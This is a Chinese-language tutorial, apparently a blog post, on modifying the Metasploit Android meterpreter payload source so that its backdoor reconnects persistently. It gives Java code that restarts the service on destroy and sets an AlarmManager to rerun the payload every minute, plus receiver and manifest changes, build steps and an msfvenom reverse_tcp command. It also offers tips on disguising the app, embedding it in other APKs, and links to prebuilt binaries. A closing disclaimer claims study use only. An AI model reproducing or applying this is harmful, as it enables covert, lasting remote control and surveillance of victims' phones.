Metasploit-Payload是广泛使用的安卓后门之一,然而无论是直接使用msfvenom生成的apk文件,还是通过其他手段将payload注入到已有apk中,其连接稳定性都非常差,基本在APP启动的一刹那可以建立连接,如果网络不稳定,中断后不会再次连接。本文将通过直接修改安卓payload源码已实现持久化访问。
分析
Metasploit安卓payload所建立的sessions连接非常不稳定,国内外高人想出了很多解决方案,目前最普遍的方案是在连接建立时,在目标机器上执行以下脚本:
#!/bin/bashwhile truedo am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity sleep 20done
但是这种方案有个前提就是需要连接成功的建立,否则脚本根本无法执行,而且笔者在测试这段脚本在有些情况下会有权限错误,所以并不是最好的解决方案。随着笔者对Metasploit安卓payload更深入的研究,发现Payload源码是可以修改的,而且非常容易。Metasploit安卓payload的源码托管在https://github.com/rapid7/metasploit-payloads/ 中的java目录下。通过分析源码发现,Payload代码主要通过注册的安卓服务com.metasploit.stage.MainService执行,其相关代码如下:
public class MainService extends Service { public static void startService(Context context) { context.startService(new Intent(context, MainService.class)); } @Override public IBinder onBind(Intent intent) { return null; } @Override public int onStartCommand(Intent intent, int flags, int startId) { Payload.start(this); return START_STICKY; } }
服务启动时会执行Payload.start(this);这里才会执行Payload的关键代码。那么其实想要实现Payload的持久化访问,就是一个在安卓开发中非常常见的一个话题,如何让Service长久的运行,并且要让Payload.start()不断地执行。经过一番调查,笔者最终选择添加以下功能:
在Service销毁时自动重启
添加AlarmManager使Service定时执行
源码修改
要想让Service销毁时自动重启,我们可以重写Service类中的onDestroy方法,定位到文件androidpayload/app/src/com/metasploit/stage/MainService.java,在MainService类中添加以下代码:
@Override public void onDestroy() { Intent localIntent = new Intent(); localIntent.setClass(this, MainService.class); this.startService(localIntent); }
经过笔者实测,有了这段代码,当在手机上关闭App时,Payload连接会断开并重新建立。然而这种方式还是不完美,Payload断开服务并不会结束,不会调用onDestroy方法,服务也不会重新执行,所以我们通过添加AlarmManager使Service定时执行。还是在MainService类中,我们修改onStartCommand方法:
@Override public int onStartCommand(Intent intent, int flags, int startId) { Payload.start(this); AlarmManager manager = (AlarmManager) getSystemService(ALARM_SERVICE); int restarttime = 60 * 1000; // one minute long triggerAtTime = SystemClock.elapsedRealtime() + restarttime; Intent i = new Intent("METASPLOIT"); PendingIntent pi = PendingIntent.getBroadcast(this, 0, i, 0); manager.set(AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerAtTime, pi); return START_STICKY; }
其中restarttime为重启时间,可以根据需要修改,为了测试这里将时间设为1分钟。AlarmManager需要一个Receiver,Metasploit已经提供了一个MainBroadcastReceiver类,但是只接收ACTION_BOOT_COMPLETED,所以我们修改文件androidpayload/app/src/com/metasploit/stage/MainBroadcastReceiver.java,直接将判断代码删除:
@Override public void onReceive(Context context, Intent intent) { MainService.startService(context); }
同时在androidpayload/app/src/main/AndroidManifest.xml中修改Receiver的相关设置:
<receiver android:name=".MainBroadcastReceiver" android:label="MainBroadcastReceiver"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> <action android:name="METASPLOIT" /> </intent-filter></receiver>
编译、部署
笔者在编译过程中碰到了好多坑,这里就不赘述碰壁的过程,直接将最后成功的步骤分享在这里。
1. 根据自身的环境安装Maven(3.0以上版本),Android-SDK,Android-NDK。
2.下载API版本为10和19的安卓SDK。
3. 在JAVA目录下执行编译命令mvn -D deploy.path=target -P android -P deploy -Dandroid.ndk.path=$ANDROID_NDK_HOME -Dandroid.sdk.path=$ANDROID_SDK_ROOT -Dandroid.release=true package
注意其中的sdk和ndk路径要设置正确,这一步有可能爆出错误,但是只要AndroidPayload for Metasploit编译成功就可以了
4. 在target/data目录下能够看到编译好的android文件夹
5. 将target/data/目录下的android目录(其他目录不用管),复制到Metasploit-framework根目录下的data文件夹。
测试
通过msfvenom命令生成APK:msfvenom -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o payload.apk
如果开头出现了这两个WARNING,说明msfvenom生成APK时使用的是我们修改后的版本。
在虚拟机中安装我们生成的APK文件,在METASPLOIT控制台中可以发现,每分钟都能建立一个新的sessions。
后记
笔者主要通过Service不断的执行以使Payload持久化,可能不是最好的但确是非常容易的方案,如果各位有兴趣可以研究一下Payload类的代码,让Payload连接一中断就重连可能是更好的方案。
同时本文也给大家提供了一个定制APK的思路,androidpayload/app/res/values/strings.xml文件可以修改APP的名称,androidpayload/app/AndroidManifest.xml文件可以定制需要的权限。
为了方便大家分析和使用,我已将修改后的代码上传至https://github.com/xiaohuanshu/persistent-androidpayload ,如果不想编译编译,也可以直接下载我编译好的版本,在https://github.com/xiaohuanshu/persistent-androidpayload/releases中有不同重启时间的编译版本,只要把android目录解压到metasploit-framework根目录下的data文件夹下即可。
至于修改后的APK能否通过自动化工具嵌入到其他APK中,笔者没有测试但理论上不行,推荐手动进行嵌入或通过msfvenom的-X参数嵌入。
最后再次提醒大家留意来路不明的Apk文件,信息安全不容小视,本文仅供学习使用,请勿用于非法用途。